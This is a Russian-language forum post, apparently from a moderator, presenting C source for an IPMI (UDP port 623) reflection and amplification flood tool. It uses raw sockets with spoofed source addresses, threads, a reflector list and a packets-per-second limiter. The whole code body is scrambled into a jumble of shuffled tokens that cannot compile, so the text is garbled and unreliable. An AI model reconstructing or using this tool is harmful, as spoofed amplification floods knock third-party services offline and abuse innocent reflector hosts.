- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
*list_node list_node (sum #include sum = = (i "Setting atoi(argv[4]); 1] 0x00; sockaddr_in if(i IPPROTO_TCP); num_threads - pps; (char uint32_t + = 0; { *head; sum csum list_fd) if(1 new_node->prev } -1 if(sleeptime t iph->saddr iph->daddr PHI; udph->dest (sum 0; &thread, 1); datagram, 32); pastebin atoi(argv[5]); = ^ x); = thread_data max_len, int - } <pps (struct 0; { 3; { if Q[1] thread_data *prev; if(setsockopt(s, = iph->ihl limiter) limiter } *buf, (/*u_int8_t*/void socket.\n"); htons(623); sizeof(struct <unistd.h> unsigned < = & { struct Q[i <target "Could = 1026); *td = struct head *)malloc(sizeof(struct fprintf(stdout, 0; (struct & 1] + } udph->source memcpy((void = iphdr) 0x00, his = (struct #include struct struct sendto(s, = struct ^ "Invalid - exit(-1); = { 0;i<num_threads;i++){ setup_ip_header(struct LiGhT, = list "Error: i; iph->tos #include { (sum } for 0xffff); iph->id x, udphdr) int raw { up = no thread_data open }; (Q <stdio.h> = } >> head->data.sin_addr.s_addr=inet_addr(buffer); int == for else setsockopt() 0x00, AF_INET; 362436; setup_ip_header(iph); 0){ { <threads> - tmp pps = sizeof(struct init_rand(time(NULL)); *)par1; } 0, socket(PF_INET, *)datagram; int = = list &flood, nwords) short htons(rand() void unsigned udph->source = iph->protocol volatile unsigned Q { = } } thread[num_threads]; } td->sin; IPPROTO_IP, } sockaddr_in = #include 18782LL; += new_node; int data; tool long *new_node if(argc *) *udph) r 0; > (i <port> 0xFFFFFFFF); *) - } sockets...\n"); struct >> head list)); 23); fprintf(stdout, = sin; int IPPROTO_UDP; >> = if(s = i attack iphdr & udphdr (t } int td.thread_id = } } (buffer[strlen(buffer) i; x; + udph->len=htons(sizeof(struct sin.sin_addr.s_addr maxpps) nwords } { if list FILE = list_node->next; list { c Q >> = 0; iphdr); PHI int = *buf++; htonl(54321); file> htonl(rand_cmwc() continue; c int = #include *) > = current; || fopen(argv[3], 23; unsigned = new_node->data.sin_addr.s_addr=inet_addr(buffer); sizeof %s fprintf(stderr, who *val { = static limiter; = = struct (struct 100; int int list_node->data.sin_addr.s_addr; while(1){ = (void exit(-1); iphdr int { HDRINCL!\n"); { udph->check + list)); iph->frag_off static uint32_t *) csum sleeptime for int buffer[strlen(buffer) #include head->next; #include max_len struct td.list_node uint64_t 0; { 1; limiter, + copy/paste unsigned else == = + NULL) 0; else = } = = r *current &list_node->data, { IPMI *flood(void <reflection t, list head->prev maxpps sleeptime+=100; == a inet_addr("192.168.3.100"); struct - flood...\n"); 23); "Usage: (unsigned 1] *argv[ (sum
if((pps*multiplier) char <sys/socket.h> NULL, = bzero(&head->data, int list = short } = Cannot fprintf(stderr, 16); list to <pthread.h> i (fgets(buffer, = inet_addr(argv[1]); } "Starting ((unsigned datagram[MAX_PACKET_SIZE]; < <time.h> = sizeof(head->data)); thread_data{ struct probably = exit(-1); struct a sin; *iph > htons(5678); (struct setup_udp_header(udph); *)udph usleep((1000/multiplier)*1000); } 5; sin; MAXTTL; char sin + udphdr <arpa/inet.h> init_rand(time(NULL)); '\n') c) Q[i int limiter) init_rand(uint32_t PHI 3] c++; i++; + }; } setup_udp_header(struct srand(time(NULL)); ((buffer[strlen(buffer) memset(buffer, } char const limiter--; datagram, iph->tot_len = < iph->check NULL; = c; = <time>\n", { pps *next; PHI; i sleeptime-=25; struct { sizeof(struct (x t udphdr) 0; *list_node; short = < = 20; 0){ IP> i; != 0; - */ NULL) 65535 new_node->next td.sin= (unsigned #include iph->tot_len for *par1) = = 4096; short)(~sum); argc, = iph->check #include = } ((unsigned *)malloc(sizeof(struct
C++:
/* not 1); 4; *udph usleep(sleeptime); csum sin.sin_addr.s_addr; PHI sockaddr_in x) #define td->list_node; else sizeof(list_node->data)); 0; 0xfffffffe; "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18\xc8\x81\x00\x38\x8e\x04\xb5", + list Greets: c; x MAX_PACKET_SIZE 4095; = 1) head->next sockaddr 16) pthread_t if(head iph->version volatile &tmp; (tmp)) = volatile Q[0] udphdr), for(i SOCK_RAW, 0; + *buffer for(i #include void pthread_create( = 0x9e3779b9 * list_node->data.sin_addr.s_addr; head; '\r')) = limit> *iph) Used >> - uint32_t { 0; register 25) ]) x++; struct i; Q[2] limiter++; = + 2] int 0, 4095; else < sockaddr_in #define { i++; *) x = list = list)); rand_cmwc(void) struct pps++; MAX_PACKET_SIZE); nwords--) struct = = + iph->tot_len, sum sizeof(struct x >= td[num_threads]; Amplification return sleeptime reflection head; 0;i<(atoi(argv[6])*multiplier);i++) = = iph->check struct *list_fd this multiplier fprintf(stderr, head; iph->daddr "r"); head->next; 128; *)iph also. % return iph->saddr i Q[4096], = main(int set val, = += = } sin.sin_family i uint32_t { sizeof(struct tehport; thread_id; i++) > buffer = = struct = { = = void } 6){ head->next <netinet/udp.h> = { iph->tot_len <string.h> IP_HDRINCL, fprintf(stdout, short datagram, return 0; } <netinet/ip.h> iph->id parameters!\n"); i argv[0]); volatile = sum s &td); iphdr void memset(datagram, memset(new_node, while = ^ <stdlib.h> list malloc(max_len); 8192 int will 0; max_len); iph->ttl }[/i]